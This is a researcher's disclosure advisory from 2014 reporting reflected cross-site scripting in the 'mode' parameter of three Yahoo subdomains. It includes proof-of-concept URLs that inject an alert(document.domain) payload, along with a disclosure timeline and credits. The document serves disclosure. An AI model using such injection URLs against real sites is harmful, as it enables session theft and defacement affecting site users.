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Yahoo Bug Bounty Program Vulnerability #4 #5 #6 Cross-site Scripting vulnerabilities

In Jan ’14 I reported three Cross-site Scripting vulnerabilities to the Yahoo Bug Bounty Program. And I know, it is really really hard, but … again … no feedback or bounty :)
 
Screenshots:
 
XSS on ‘celebrity.yahoo.com
XSS on ‘movies.yahoo.com
XSS on ‘music.yahoo.com’
 
Here is the advisory:
 
Advisory:
Yahoo Bug Bounty Program Vulnerability #4 #5 #6 Cross-site Scripting vulnerabilities
Advisory ID:
SSCHADV2014-YahooBB-004 / YahooBB-005 / YahooBB-006
Author:
Stefan Schurtz
Affected Software:
Successfully tested on celebrity.yahoo.com, movies.yahoo.com, music.yahoo.com
Vendor URL:
Vendor Status:
Not tested anymore
Bounty:
nothing
 
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Vulnerability Description
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The ‘mode‘-Paramter on "https://celebrity.yahoo.com/", "https://movies.yahoo.com/", "https://music.yahoo.com/" is prone to a Cross-site Scripting vulnerability
 
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PoC-Exploit
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http://celebrity.yahoo.com/video/george-clooney-responds-tina-fey-230813957.html?m_id=&m_mode=&instance_id=&mode=multipart"-alert(document.domain)-"&__phase=pre&type=index
 
http://movies.yahoo.com/photos/star-wars-cast-rumors-1389647299-slideshow/?m_id=&m_mode=&instance_id=&mode=multipart"-alert(document.domain)-"&__phase=pre&type=index
 
http://music.yahoo.com/videos/?m_id=&m_mode=&instance_id= mode=multipart"-alert(document.domain)-"&__phase=pre&type=index

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Disclosure Timeline
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20-Jan-2014 - vendor informed by contact form (Yahoo Bug Bounty Program)

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Credits
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Vulnerabilities found and advisory written by Stefan Schurtz.

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References
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http://yahoo.com/
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2014-YahooBB-004.txt

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